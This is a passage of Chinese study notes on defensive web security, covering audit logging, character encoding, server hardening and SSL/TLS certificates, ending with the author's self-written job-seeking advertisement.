登陆、退出(包括成功和失败两种情况)
账号冻结
用户注册、删除
修改密码
查看重要信息
重要操作(购买、转账支付、发送邮件等)
#日志里应包括的信息和格式(4W1H When, Who, Where, What, How)
访问时间
远程IP地址
用户ID
访问资源对象(URL、页面编号、脚本ID等)
操作类型(查看、修改、删除等)
操作对象(资源ID等)
操作结果(成功或失败、记录处理数量等)
#日志保存位置
最好把日志保存在单独的服务器上
#服务器的时间调整
NTP(Network Time Protocol)
第6章 字符编码和安全
#如何正确处理字符编码
在应用内使用统一的字符集
输入非法数据时报错并终止处理
处理数据时使用正确的编码方式
输出时设置正确的字符编码方式
HTTP返回头的Content-Type设置UTF-8
尽量避免编码自动检测
第7章 如何提高Web网站的安全性
7.1 针对Web服务器的攻击途径和防范措施
#对策
停止运行不需要的软件
定期实施漏洞防范措施
对不需要对外公开的端口或者服务加以访问限制
用Nmap进行端口扫描
提高认证强度
删除或者停止Telnet和FTP服务,只使用SSH服务
在SSH服务中使用公钥认证方式来代替密码认证
7.2 防范伪装攻击的对策
# 对策
引入SSL/TLS
购买到的证书种类(价格从低到高)
域名认证证书
组织认证证书
EV-SSL证书
第8章 开发安全的Web应用所需的管理
----个人广告----
本人符江涛,今年6月硕士毕业,热爱编程,目前在找工作,熟悉领域:全栈开发,项目经验:母鸡行网站http://www.destpact.com,微信:jiangtao95zy,qq:1321332562